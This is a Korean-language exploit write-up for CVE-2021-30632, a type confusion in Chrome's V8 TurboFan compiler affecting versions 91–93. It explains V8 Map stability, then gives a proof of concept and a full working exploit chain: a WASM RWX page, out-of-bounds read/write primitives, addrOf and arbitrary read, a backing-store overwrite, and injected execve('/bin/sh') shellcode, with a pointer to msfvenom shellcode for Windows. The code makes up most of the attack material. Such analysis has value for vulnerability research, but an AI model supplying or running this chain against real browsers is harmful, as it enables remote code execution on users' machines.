테스트 버전: Chrome 91, 92, 93.0.4577.63
데모
기존 계산기를 띄우던 POC에서 셸코드를 msfvenom으로 변경해 cmd.exe를 실행한 모습:


V8 Map 개념
V8에서 Map은 두 가지 역할을 한다:
- 객체의 메모리 레이아웃 정보 보유
- Property 접근 속도를 높이는 인라인 캐시(IC) 사용
Property 레이아웃과 타입이 동일한 객체들은 같은 Map을 공유한다.
d8> o1 = {a: 1};
d8> o2 = {a: 10000}; // o1과 동일한 MapA 공유
d8> %DebugPrint(o1);
// map: 0x2a58082c7aa1 <Map(HOLEY_ELEMENTS)> - stable_map
d8> %DebugPrint(o2);
// map: 0x2a58082c7aa1 <Map(HOLEY_ELEMENTS)> - stable_map
// 주소 동일: 같은 Mapo2.b = 1을 추가하면 새로운 MapB가 생성되고, MapA에 transition이 추가된다:
0x2a58082c7aa1: [Map]
- transitions #1: 0x2a58082c7ac9 <Map(HOLEY_ELEMENTS)>
#b: (transition to const data field) -> 0x2a58082c7ac9이 프로세스를 Map Transitions라고 한다.
Map 안정성(stability)
- stable_map: transition이 없거나 재할당으로만 맵이 바뀔 수 있는 상태
- unstable: 새 transition이 추가됐을 때 — 기존 Map(MapA)에 transition이 붙는 순간 unstable이 된다
TurboFan이 최적화 코드를 생성할 때 이 안정성을 이용해 CheckMap 검사 삽입 여부를 결정한다.
전역 변수 또는 객체 속성에서 Map이 변경되는 경우는 두 가지다:
- 재할당: 변수/속성이 새 객체로 교체될 때. 이 경우 원래 Map의 안정성은 그대로 유지된다.
- 인플레이스 변경: 재할당 없이 속성이 추가될 때. 이 경우 새 transition이 추가되거나 이미 불안정하기 때문에 원본 Map(MapA)이 불안정해진다.
취약점 (CVE-2021-30632)
핵심 원인
TurboFan이 kConstantType 전역 속성 저장 코드를 컴파일할 때, Map이 불안정한 경우 DependOnStableMap 대신 CheckMaps를 삽입한다. 그런데 Map이 이미 unstable한 상태에서 함수가 최적화되면 — 이후 Map이 바뀌어도 최적화 코드가 무효화(deoptimize)되지 않는다.
case PropertyCellType::kConstantType: {
dependencies()->DependOnGlobalProperty(property_cell); // 1. 의존성 등록
if (property_cell_value.IsHeapObject()) {
MapRef property_cell_value_map = property_cell_value.AsHeapObject().map();
if (property_cell_value_map.is_stable()) {
dependencies()->DependOnStableMap(property_cell_value_map);
// stable → 맵이 변하면 자동 deopt
} else {
// unstable → CheckMaps 삽입
}
effect = graph()->NewNode(
simplified()->CheckMaps(...), // 2. 맵 검사 삽입
value, effect, control);
}
}문제: store 함수가 최적화된 시점에 전역 변수 x의 Map이 unstable이면, 이후 x.newProp = 1로 Map이 변경돼도 최적화된 store는 여전히 이전 Map이 있다고 가정한다. 이 상태에서 load 함수가 최적화되면 x에 새 Map이 있다고 가정하게 되고, store(oldObj) 호출 시 타입 혼동이 발생한다.
PoC
function store(y) { x = y; }
function load() { return x.b; }
var x = {a: 1};
var x1 = {a: 2};
var x2 = {a: 3};
var x3 = {a: 4};
store(x1);
%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1; // x1의 Map이 MapB로 변경 (MapA는 unstable)
%OptimizeFunctionOnNextCall(store);
store(x2); // store가 최적화됨 — 이 시점 x의 Map은 unstable(MapA)
x.b = 1; // x의 Map을 MapB로 변경
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load(); // load 최적화: x가 MapB라고 가정
store(x3); // x = x3 (MapA) — 최적화된 store는 CheckMaps 통과
%DebugPrint(load()); // load는 x가 MapB라고 가정 → 타입 혼동익스플로잇
전체 플로우
- WASM으로 RWX 영역 생성
- 타입 혼동으로 OOB Read/Write 프리미티브 획득
- WASM instance 주소 → RWX 페이지 주소 획득
- RWX 페이지에 셸코드 복사 → 실행
1단계: WASM RWX 영역
var code = new Uint8Array([
0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,
5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,
128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,
105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,
65,42,11
]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;
// WASM 인스턴스는 내부적으로 JIT 컴파일된 코드를 RWX 페이지에 보관2단계: 타입 혼동 세팅
아래 배열들은 처음에 모두 동일한 Map을 공유한다(HOLEY_SMI_ELEMENTS). 핵심은 foo 함수를 최적화한 뒤, Map이 변경된 객체를 전달하여 최적화된 함수가 잘못된 타입을 가정하게 만드는 것이다.
var arr0 = new Array(10); arr0.fill(1); arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2); arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1); // arr.a 속성으로부터 transition
var writeArr = [1.1]; // b로부터 transition (PACKED_DOUBLE_ELEMENTS)
function foo(y) { x = y; }
function oobRead() { return [x[20], x[24]]; }
function oobWrite(a) { x[24] = a; }
// arr2[0] = 1.1 삽입으로 arr1의 Map을 unstable하게 만든 뒤 foo 최적화
for (let i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;
foo(arr1);
}
x[0] = 1.1; // arr1 → FixedDoubleArray, Map은 안정적
for (let i = 0; i < 20000; i++) oobRead();
for (let i = 0; i < 20000; i++) oobWrite(1.1);
foo(arr); // 타입 혼동 트리거: x는 이제 arr(HOLEY_SMI_ELEMENTS)
// 하지만 최적화된 oobRead/oobWrite는 x가 FixedDoubleArray라고 가정이 루프 반복을 통해 oobRead와 oobWrite 역시 최적화되며, 이후 foo(arr)를 호출하면 x에 다른 타입의 배열이 할당되어 OOB 접근이 가능해진다.
3단계: 프리미티브 구현
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
b[0] = instance;
var addrs = oobRead(); // [b[0] 주소, writeArr.elements 주소]
function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}
function i32tof(i1, i2) {
intView[0] = i1; intView[1] = i2;
return dblArr[0];
}
function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}
function addrOf(obj) {
b[0] = obj;
dblArr[0] = oobRead()[0];
return intView[1];
}
function arbRead(addr) {
let [elements, addr1] = ftoi32(addrs[1]);
oobWrite(i32tof(addr, addr1));
return writeArr[0];
}addrOf는 b[0]에 목표 객체를 넣고 OOB 읽기로 그 주소를 float으로 누출한다. arbRead는 writeArr의 elements 포인터를 원하는 주소로 교체하여 해당 위치의 값을 읽어온다.
4단계: RWX 페이지 접근 및 셸코드 실행
function writeShellCode(rwxAddr, shellArr) {
var intArr = new Uint8Array(400);
var intArrAddr = addrOf(intArr);
let [elements, addr1] = ftoi32(addrs[1]);
oobWrite(i32tof(intArrAddr + 0x20, addr1));
writeArr[0] = rwxAddr;
for (let i = 0; i < shellArr.length; i++) intArr[i] = shellArr[i];
}
var instanceAddr = addrOf(instance);
var rwxAddr = arbRead(instanceAddr + 0x60); // WASM JIT RWX 페이지
// Linux execve("/bin/sh") syscall shellcode
var shellCode = [
0x31,0xf6,0x31,0xd2,0x31,0xc0,
0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,
0x56,0x53,0x54,0x5f,
0xb8,0x3b,0x00,0x00,0x00,
0x0f,0x05
];
writeShellCode(rwxAddr, shellCode);
main();writeShellCode는 Uint8Array의 백킹 스토어 포인터를 RWX 페이지 주소로 교체하여, 배열에 바이트를 쓰면 곧바로 셸코드가 RWX 영역에 기록되도록 한다.
실행 결과
./d8 poc.js
instance: 81d42dd
elements: 804bcb1
rwx page address: 1c3124f08000
intArray addr: 81074d9
intBackingStore: 5599f2fb25e0
$Windows에서 실행하려면 Windows 전용 셸코드(msfvenom 생성)로 교체하면 된다.
